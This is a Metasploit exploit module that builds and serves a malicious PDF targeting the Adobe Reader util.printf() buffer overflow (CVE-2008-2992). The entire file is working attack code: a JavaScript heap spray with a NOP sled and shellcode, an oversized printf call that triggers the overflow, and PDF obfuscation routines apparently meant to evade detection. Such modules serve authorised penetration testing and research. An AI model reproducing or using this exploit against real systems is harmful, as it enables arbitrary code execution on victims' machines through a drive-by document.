##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'zlib'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Adobe util.printf() Buffer Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat Professional
        < 8.1.3. By creating a specially crafted pdf that a contains malformed util.printf()
        entry, an attacker may be able to execute arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'MC', 'Didier Stevens <didier.stevens[at]gmail.com>' ],
      'References'     =>
        [
          [ 'CVE', '2008-2992' ],
          [ 'OSVDB', '49520' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars'      => "\x00",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Adobe Reader v8.1.2 (Windows XP SP3 English)', { 'Ret' => '' } ],
        ],
      'DisclosureDate' => 'Feb 8 2008',
      'DefaultTarget'  => 0))

  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)
    return if ((p = regenerate_payload(cli)) == nil)
    # Encode the shellcode.
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    # Make some nops
    nops    = Rex::Text.to_unescape(make_nops(4))

    # Randomize variables
    rand1  = rand_text_alpha(rand(100) + 1)
    rand2  = rand_text_alpha(rand(100) + 1)
    rand3  = rand_text_alpha(rand(100) + 1)
    rand4  = rand_text_alpha(rand(100) + 1)
    rand5  = rand_text_alpha(rand(100) + 1)
    rand6  = rand_text_alpha(rand(100) + 1)
    rand7  = rand_text_alpha(rand(100) + 1)
    rand8  = rand_text_alpha(rand(100) + 1)
    rand9  = rand_text_alpha(rand(100) + 1)
    rand10 = rand_text_alpha(rand(100) + 1)
    rand11 = rand_text_alpha(rand(100) + 1)

    script = %Q|
    var #{rand1} = unescape("#{shellcode}");
    var #{rand2} ="";
    for (#{rand3}=128;#{rand3}>=0;--#{rand3}) #{rand2} += unescape("#{nops}");
    #{rand4} = #{rand2} + #{rand1};
    #{rand5} = unescape("#{nops}");
    #{rand6} = 20;
    #{rand7} = #{rand6}+#{rand4}.length
    while (#{rand5}.length<#{rand7}) #{rand5}+=#{rand5};
    #{rand8} = #{rand5}.substring(0, #{rand7});
    #{rand9} = #{rand5}.substring(0, #{rand5}.length-#{rand7});
    while(#{rand9}.length+#{rand7} < 0x40000) #{rand9} = #{rand9}+#{rand9}+#{rand8};
    #{rand10} = new Array();
    for (#{rand11}=0;#{rand11}<1450;#{rand11}++) #{rand10}[#{rand11}] = #{rand9} + #{rand4};
    util.printf("%45000.45000f", 0);
          |

    # Create the pdf
    pdf = make_pdf(script)

    print_status("Sending #{self.name}")

    send_response(cli, pdf, { 'Content-Type' => 'application/pdf' })

    handler(cli)

  end

  def random_non_ascii_string(count)
    result = ""
    count.times do
      result << (rand(128) + 128).chr
    end
    result
  end

  def io_def(id)
    "%d 0 obj" % id
  end

  def io_ref(id)
    "%d 0 R" % id
  end

  #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
  def n_obfu(str)
    result = ""
    str.scan(/./u) do |c|
      if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
        result << "#%x" % c.unpack("C*")[0]
      else
        result << c
      end
    end
    result
  end

  def ascii_hex_whitespace_encode(str)
    result = ""
    whitespace = ""
    str.each_byte do |b|
      result << whitespace << "%02x" % b
      whitespace = " " * (rand(3) + 1)
    end
    result << ">"
  end

  def make_pdf(js)

    xref = []
    eol = "\x0d\x0a"
    endobj = "endobj" << eol


    pdf = "%PDF-1.5" << eol
    pdf << "%" << random_non_ascii_string(4) << eol
    xref << pdf.length
    pdf << io_def(1) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(2) << n_obfu("/Pages ") << io_ref(3) << n_obfu("/OpenAction ") << io_ref(5) << ">>" << endobj
    xref << pdf.length
    pdf << io_def(2) << n_obfu("<</Type/Outlines/Count 0>>") << endobj
    xref << pdf.length
    pdf << io_def(3) << n_obfu("<</Type/Pages/Kids[") << io_ref(4) << n_obfu("]/Count 1>>") << endobj
    xref << pdf.length
    pdf << io_def(4) << n_obfu("<</Type/Page/Parent ") << io_ref(3) << n_obfu("/MediaBox[0 0 612 792]>>") << endobj
    xref << pdf.length
    pdf << io_def(5) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(6) + ">>" << endobj
    xref << pdf.length
    compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js))
    pdf << io_def(6) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
    pdf << "stream" << eol
    pdf << compressed << eol
    pdf << "endstream" << eol
    pdf << endobj
    xrefPosition = pdf.length
    pdf << "xref" << eol
    pdf << "0 %d" % (xref.length + 1) << eol
    pdf << "0000000000 65535 f" << eol
    xref.each do |index|
      pdf << "%010d 00000 n" % index << eol
    end
    pdf << "trailer" << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol
    pdf << "startxref" << eol
    pdf << xrefPosition.to_s() << eol
    pdf << "%%EOF" << eol

  end
end
